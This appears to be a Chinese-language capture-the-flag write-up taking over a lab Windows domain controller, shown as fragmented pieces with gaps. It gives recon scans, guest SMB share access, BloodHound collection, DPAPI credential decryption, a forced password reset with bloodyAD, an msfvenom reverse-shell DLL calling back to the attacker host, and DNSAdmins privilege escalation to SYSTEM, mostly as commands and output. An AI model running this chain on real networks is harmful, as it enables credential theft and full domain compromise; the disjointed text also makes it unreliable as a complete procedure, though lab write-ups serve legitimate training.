❯ export ip=192.168.60.128 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where scanning meets swagging. 😎 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.60.128:53 Open 192.168.60.128:88 Open 192.168.60.128:135 Open 192.168.60.128:139 Open 192.168.60.128:389 Open 192.168.60.128:445 Open 192.168.60.128:464 Open 192.168.60.128:593 Open 192.168.60.128:3268 Open 192.168.60.128:3389 Open 192.168.60.128:5985 Open 192.168.60.128:9389 Open 192.168.60.128:49664 Open 192.168.60.128:49669 Open 192.168.60.128:51774 Open 192.168.60.128:51775 Open 192.168.60.128:51792 Open 192.168.60.128:57684 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 14:05 CST Initiating ARP Ping Scan at 14:05 Scanning 192.168.60.128 [1 port] Completed ARP Ping Scan at 14:05, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:05 Completed Parallel DNS resolution of 1 host. at 14:05, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:05 Scanning 192.168.60.128 [18 ports] Discovered open port 135/tcp on 192.168.60.128 Discovered open port 3389/tcp on 192.168.60.128 Discovered open port 53/tcp on 192.168.60.128 Discovered open port 445/tcp on 192.168.60.128 Discovered open port 57684/tcp on 192.168.60.128 Discovered open port 139/tcp on 192.168.60.128 Discovered open port 49664/tcp on 192.168.60.128 Discovered open port 389/tcp on 192.168.60.128 Discovered open port 51774/tcp on 192.168.60.128 Discovered open port 9389/tcp on 192.168.60.128 Discovered open port 3268/tcp on 192.168.60.128 Discovered open port 5985/tcp on 192.168.60.128 Discovered open port 88/tcp on 192.168.60.128 Discovered open port 593/tcp on 192.168.60.128 Discovered open port 51775/tcp on 192.168.60.128 Discovered open port 51792/tcp on 192.168.60.128 Discovered open port 49669/tcp on 192.168.60.128 Discovered open port 464/tcp on 192.168.60.128 Completed SYN Stealth Scan at 14:05, 0.02s elapsed (18 total ports) Nmap scan report for 192.168.60.128 Host is up, received arp-response (0.00088s latency). Scanned at 2025-08-26 14:05:33 CST for 0s PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 128 88/tcp open kerberos-sec syn-ack ttl 128 135/tcp open msrpc syn-ack ttl 128 139/tcp open netbios-ssn syn-ack ttl 128 389/tcp open ldap syn-ack ttl 128 445/tcp open microsoft-ds syn-ack ttl 128 464/tcp open kpasswd5 syn-ack ttl 128 593/tcp open http-rpc-epmap syn-ack ttl 128 3268/tcp open globalcatLDAP syn-ack ttl 128 3389/tcp open ms-wbt-server syn-ack ttl 128 5985/tcp open wsman syn-ack ttl 128 9389/tcp open adws syn-ack ttl 128 49664/tcp open unknown syn-ack ttl 128 49669/tcp open unknown syn-ack ttl 128 51774/tcp open unknown syn-ack ttl 128 51775/tcp open unknown syn-ack ttl 128 51792/tcp open unknown syn-ack ttl 128 57684/tcp open unknown syn-ack ttl 128 MAC Address: 00:0C:29:D4:9B:A5 (VMware) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds Raw packets sent: 19 (820B) | Rcvd: 19 (820B)
没有开放web服务，不过存在smb以及ldap常见的AD域环境中的服务
凭证泄露
探测匿名用户是否可以读取smb中的文件
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ nxc smb $ip -u guest -p "" --shares SMB 192.168.60.128 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:bicker.com) (signing:True) (SMBv1:False) SMB 192.168.60.128 445 DC [+] bicker.com\guest: SMB 192.168.60.128 445 DC [*] Enumerated shares SMB 192.168.60.128 445 DC Share Permissions Remark SMB 192.168.60.128 445 DC ----- ----------- ------ SMB 192.168.60.128 445 DC ADMIN$ 远程管理 SMB 192.168.60.128 445 DC C$ 默认共享 SMB 192.168.60.128 445 DC IPC$ READ 远程 IPC SMB 192.168.60.128 445 DC NETLOGON Logon server share SMB 192.168.60.128 445 DC puppy READ SMB 192.168.60.128 445 DC SYSVOL Logon server share
存在puppy文件夹可读，尝试下载文件夹中的图片
1 2 3 4 5 6 7 8 9 10 11 12
❯ smbclient -U guest //$ip/puppy Password for [WORKGROUP\guest]: Try "help" to get a list of possible commands. smb: \> dir . D 0 Fri Aug 15 12:06:51 2025 .. DHS 0 Fri Aug 15 17:20:46 2025 puppy.jpg A 57634 Fri Aug 15 12:06:51 2025
12923135 blocks of size 4096. 9336716 blocks available smb: \> get puppy.jpg getting file \puppy.jpg of size 57634 as puppy.jpg (3310.8 KiloBytes/sec) (average 3310.8 KiloBytes/sec) smb: \> exit
*Evil-WinRM* PS C:\Users\tindalos\Documents> stsv dns The term 'stsv' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + stsv dns + ~~~~ + CategoryInfo : ObjectNotFound: (stsv:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException *Evil-WinRM* PS C:\Users\tindalos\Documents> gsv dns Cannot find any service with service name 'dns'. At line:1 char:1 + gsv dns + ~~~~~~~ + CategoryInfo : ObjectNotFound: (dns:String) [Get-Service], ServiceCommandException + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
默认情况下，DNSAdmins 组的成员是无法直接（或被阻止）重启 DNS 服务的。
DNSAdmins 组的权限主要集中在配置和管理 DNS 服务本身，例如：
创建、修改、删除 DNS 区域
添加、修改、删除 DNS 记录
配置转发器、根提示
管理 DNS 安全设置 (如安全动态更新)
查看 DNS 服务状态和日志
所以我们需要一个拥有重启dns服务权限的用户
尝试利用netexec抓一下bloodhound域控信息
1 2 3 4 5 6
❯ netexec ldap $ip -u tindalos -p 'Th3C@ll0fCtHu1hu!' --bloodhound -c All -d bicker.com --dns-server $ip LDAP 192.168.60.128 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:bicker.com) LDAP 192.168.60.128 389 DC [+] bicker.com\tindalos:Th3C@ll0fCtHu1hu! LDAP 192.168.60.128 389 DC Resolved collection methods: localadmin, session, trusts, rdp, objectprops, psremote, acl, container, dcom, group LDAP 192.168.60.128 389 DC Done in 00M 00S LDAP 192.168.60.128 389 DC Compressing output into /home/Pepster/.nxc/logs/DC_192.168.60.128_2025-08-26_172043_bloodhound.zip
导入zip包后，发现存在一个DNSRESTARTERS组，顾名思义是dns重启组，不过这些组名是可以自定义的，描述中也写明了允许通过计划任务/脚本重新启动 DNS 的组
ctype, pdict = cgi.parse_header(content_type) if ctype != 'multipart/form-data': self.send_response(400) self.end_headers() self.wfile.write(b"Content-Type is not multipart/form-data") return
defrun(): server_address = ('', PORT) httpd = HTTPServer(server_address, SimpleUploadHandler) print(f"Starting server on port {PORT}, saving uploads to {UPLOAD_DIR}") httpd.serve_forever()
if __name__ == "__main__": run()
启动服务，尝试上传文件
1 2 3 4 5 6 7 8 9
❯ python3 upload_server.py Starting server on port 80, saving uploads to ./uploads 192.168.60.128 - - [26/Aug/2025 23:58:04] "POST / HTTP/1.1" 200 - 192.168.60.128 - - [26/Aug/2025 23:59:48] "POST / HTTP/1.1" 200 -
Decrypted key with User Key (MD4 protected) Decrypted key: 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27
再利用解密出来的masterkey解密凭证
得到lihua用户保存凭证的密码hello%2633
1 2 3 4 5 6 7 8 9 10 11 12 13
❯ impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
❯ netexec ldap $ip -u lihua -p 'hello%2633' LDAP 192.168.60.128 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:bicker.com) LDAP 192.168.60.128 389 DC [+] bicker.com\lihua:hello%2633 ❯ netexec winrm $ip -u lihua -p 'hello%2633' WINRM 192.168.60.128 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:bicker.com) WINRM 192.168.60.128 5985 DC [-] bicker.com\lihua:hello%2633 ❯ netexec smb $ip -u lihua -p 'hello%2633' SMB 192.168.60.128 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:bicker.com) (signing:True) (SMBv1:False) SMB 192.168.60.128 445 DC [+] bicker.com\lihua:hello%2633
强制修改jianyin用户的密码
1 2 3 4 5 6
❯ pip install bloodyAD ❯ bloodyAD -u lihua -p hello%2633 --host $ip -d bicker.com set password "jianyin""P@ssw0rd123" [+] Password changed successfully! ❯ netexec winrm $ip -u jianyin -p 'P@ssw0rd123' WINRM 192.168.60.128 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:bicker.com) WINRM 192.168.60.128 5985 DC [+] bicker.com\jianyin:P@ssw0rd123 (Pwn3d!)
DNS服务重启
生成一个反弹shell的恶意dll文件
1 2 3 4 5 6 7 8
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.60.100 LPORT=4444 -f dll -o rev.dll [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 9216 bytes Saved as: rev.dll
*Evil-WinRM* PS C:\Users\jianyin\Documents> gsv dns
Status Name DisplayName ------ ---- ----------- Running dns DNS Server
*Evil-WinRM* PS C:\Users\jianyin\Documents> spsv dns *Evil-WinRM* PS C:\Users\jianyin\Documents> start-service dns
监听端口
1 2 3 4 5 6 7 8 9 10 11 12
❯ nc -lvp 4444 listening on [any] 4444 ... connect to [192.168.60.100] from bicker.com [192.168.60.128] 57084 Microsoft Windows [汾 10.0.20348.169] (c) Microsoft Corporation
C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt type C:\Users\Administrator\Desktop\root.txt root{7c1e4b8a2d6f3b9c5e0a}
❯ nc -lvp 4444 listening on [any] 4444 ... 192.168.60.128: inverse host lookup failed: Unknown host connect to [192.168.60.100] from (UNKNOWN) [192.168.60.128] 51624 Microsoft Windows [汾 10.0.20348.169] (c) Microsoft Corporation
C:\Windows\system32>whoami whoami nt authority\system
. 已成功完成。 命令成功完成。 --------------------------- ❯ rlwrap nc -lvp 4444 listening on [any] 4444 ... connect to [192.168.60.100] from (UNKNOWN) [192.168.60.128] 50597 Microsoft Windows [汾 10.0.20348.169] (c) Microsoft Corporation
